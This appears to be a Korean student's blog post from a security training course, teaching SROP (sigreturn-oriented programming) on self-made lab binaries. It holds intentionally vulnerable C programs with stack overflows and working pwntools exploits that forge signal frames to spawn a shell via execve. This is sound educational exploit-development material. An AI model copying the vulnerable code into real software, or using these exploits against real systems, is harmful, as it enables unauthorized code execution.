BOB 과제하면서 SROP 관련 문제가 나왔다.
하지만 SROP에 대해 잘 몰라서 여러 문서들을 보고 따라해보면서 감을 익혔다.
일단 간단한 32bit 예제와 64bit 예제를 만들고 SROP를 적용해 쉘을 따보는 연습을 내용에 담았다.
32bit SROP 예제 (test.c)
gcc -o test test.c -fno-stack-protector (Ubuntu 14.04 32bit)
char sh[] = "/bin/sh";
void int80()
{
asm("int $0x80");
}
void main()
{
char buf[8];
read(0, buf, 128); //Overflow 취약점
}
32bit sigcontext
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
Exploit
from pwn import *
s = process('./test')
syscall = 0x8048420
payload = "A"*20
payload += p32(syscall)
payload += p32(0x33)
payload += p32(0)
payload += p32(0x7b)
payload += p32(0x7b)
payload += p32(0)
payload += p32(0)
payload += p32(0) #ebp
payload += p32(0) #esp
payload += p32(0x804a020)
payload += p32(0)
payload += p32(0)
payload += p32(0xb)
payload += p32(0)
payload += p32(0)
payload += p32(syscall)
payload += p32(0x73)
payload += p32(0x246)
payload += p32(0)
payload += p32(0x7b)
payload += "\x00"*(118-len(payload))
s.sendline(payload)
s.interactive()
payload를 118로 맞춰준 이유는 read에 엔터값 까지 총 119 size의 data가 입력되는데 119는 sigreturn 의 syscall number이다.
syscall 할때 미리 read의 리턴값을 119를 맞춰줌으로써 (리턴값은 eax로 들어감) sigreturn 을 바로 syscall 할 수 있게 해주기 때문이다.
0xb 는 11 즉 execve의 syscall number
===========================================================
64bit SROP 예제 (test.c)
gcc -o test test.c -fno-stack-protector (Ubuntu 16.04 64bit)
#include <stdio.h>
char tmp[] = "/bin/sh";
int main()
{
char buf[8];
char radget[] ="\x58\xc3\x0f\x05\xc3";
read(0, buf, 512);
}
64bit sigcontext
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
Exploit
from pwn import *
p = process('./test')
binsh = 0x601038
syscall = 0x0000000000400533
poprax = 0x0000000000400531
payload = 'A'*24
payload += p64(poprax)
payload += p64(0xf) #sigreturn syscall number
payload += p64(syscall)
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = binsh
frame.rip = syscall
payload += str(frame)
p.send(payload)
p.interactive()
64bit 환경에서 sigreturn syscall number는 15이다.
execve 는 0x3b 즉 59이다.
SROP에 대해 직접 설명하는거 보다 해당 문서를 보는게 15832048배는 쉬울거 같아 주소를 남기겠습니다.
https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64